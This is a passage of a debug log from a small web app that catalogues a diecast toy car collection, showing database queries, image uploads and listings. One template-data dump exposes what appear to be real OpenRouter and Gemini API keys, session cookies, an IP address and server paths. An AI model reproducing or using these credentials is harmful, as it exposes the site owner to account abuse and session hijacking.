  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:57:33.289Z server-connect:app Executing action step select
2026-02-04T10:57:33.289Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:57:33.290Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:57:33.290Z server-connect:app Executing action step select
2026-02-04T10:57:33.290Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:57:33.290Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:57:35.635Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:57:35.635Z server-connect:app Executing action step identify
2026-02-04T10:57:35.635Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:35.635Z server-connect:output identity: 1
2026-02-04T10:57:35.635Z server-connect:app Executing action step restrict
2026-02-04T10:57:35.635Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:35.635Z server-connect:output restrict: undefined
2026-02-04T10:57:35.635Z server-connect:app Executing action step single
2026-02-04T10:57:35.635Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:57:35.636Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20250923_223018_892b287a-b7e0-4d5f-b34f-b11e8c565230.jpg'
}
2026-02-04T10:57:35.636Z server-connect:app Executing action step delete
2026-02-04T10:57:35.636Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:57:35.636Z server-connect:output delete: { affected: 1 }
2026-02-04T10:57:35.636Z server-connect:app Executing action step remove
2026-02-04T10:57:35.636Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:57:35.637Z server-connect:output fileRemove: true
2026-02-04T10:57:35.903Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:57:35.903Z server-connect:app Executing action step identify
2026-02-04T10:57:35.903Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:35.903Z server-connect:output identity: 1
2026-02-04T10:57:35.903Z server-connect:app Executing action step restrict
2026-02-04T10:57:35.903Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:35.903Z server-connect:output restrict: undefined
2026-02-04T10:57:35.903Z server-connect:app Executing action step paged
2026-02-04T10:57:35.904Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:57:35.905Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    }
  ]
}
2026-02-04T10:57:36.163Z server-connect:router Serving templateView /
2026-02-04T10:57:36.163Z server-connect:app Executing action step identify
2026-02-04T10:57:36.163Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:36.163Z server-connect:output identity: 1
2026-02-04T10:57:36.163Z server-connect:app Executing action step restrict
2026-02-04T10:57:36.163Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:57:36.164Z server-connect:output restrict: undefined
2026-02-04T10:57:36.164Z server-connect:app Executing action step restrict
2026-02-04T10:57:36.164Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:57:36.164Z server-connect:output restrict: undefined
2026-02-04T10:57:36.164Z server-connect:router Render template layouts/main
2026-02-04T10:57:36.164Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=174&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=174&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:57:39.153Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:57:39.153Z server-connect:app Executing action step identify
2026-02-04T10:57:39.153Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:39.153Z server-connect:output identity: 1
2026-02-04T10:57:39.153Z server-connect:app Executing action step restrict
2026-02-04T10:57:39.153Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:39.154Z server-connect:output restrict: undefined
2026-02-04T10:57:39.154Z server-connect:app Executing action step condition
2026-02-04T10:57:39.154Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:57:39.154Z server-connect:app Executing action step update
2026-02-04T10:57:39.154Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:57:39.155Z server-connect:output update: { affected: 1 }
2026-02-04T10:57:39.155Z server-connect:app Executing action step upload
2026-02-04T10:57:39.155Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:57:39.155Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:57:39.155Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:57:39.155Z server-connect:upload Processing file: {
  name: 's-l1600 (4).webp',
  data: <Buffer >,
  size: 73644,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-61-20378841770202659152',
  truncated: false,
  mimetype: 'image/webp',
  md5: '9f5dc89ad2116d56f7d2f0fb27d3fe43',
  mv: [Function: mv]
}
2026-02-04T10:57:39.155Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_4_0052a9b2-fc63-42cd-93f1-b0640228cc9c.webp',
  rel: 'public/assets/images/diecast/s-l1600_4_0052a9b2-fc63-42cd-93f1-b0640228cc9c.webp'
}
2026-02-04T10:57:39.155Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_4_0052a9b2-fc63-42cd-93f1-b0640228cc9c.webp',
  rel: 'assets/images/diecast/s-l1600_4_0052a9b2-fc63-42cd-93f1-b0640228cc9c.webp'
}
2026-02-04T10:57:39.155Z server-connect:output upload_image: [
  {
    name: 's-l1600_4_0052a9b2-fc63-42cd-93f1-b0640228cc9c.webp',
    path: '/public/assets/images/diecast/s-l1600_4_0052a9b2-fc63-42cd-93f1-b0640228cc9c.webp',
    url: '/assets/images/diecast/s-l1600_4_0052a9b2-fc63-42cd-93f1-b0640228cc9c.webp',
    type: 'image/webp',
    size: 73644
  }
]
2026-02-04T10:57:39.155Z server-connect:app Executing action step repeat
2026-02-04T10:57:39.155Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:57:39.155Z server-connect:app Executing action step insert
2026-02-04T10:57:39.155Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:57:39.156Z server-connect:output images: { affected: 1, identity: 212 }
2026-02-04T10:57:39.156Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:57:39.156Z server-connect:output condition: undefined
2026-02-04T10:57:39.448Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:57:39.448Z server-connect:app Executing action step identify
2026-02-04T10:57:39.448Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:39.448Z server-connect:output identity: 1
2026-02-04T10:57:39.448Z server-connect:app Executing action step restrict
2026-02-04T10:57:39.448Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:39.449Z server-connect:output restrict: undefined
2026-02-04T10:57:39.449Z server-connect:app Executing action step paged
2026-02-04T10:57:39.449Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:57:39.450Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:57:47.653Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:57:47.653Z server-connect:app Executing action step identify
2026-02-04T10:57:47.654Z server-connect:app options: { provider: 'security' }
2026-02-04T10:57:47.654Z server-connect:output identity: 1
2026-02-04T10:57:47.654Z server-connect:app Executing action step restrict
2026-02-04T10:57:47.654Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:57:47.654Z server-connect:output restrict: undefined
2026-02-04T10:57:47.654Z server-connect:app Executing action step paged
2026-02-04T10:57:47.654Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:57:47.656Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
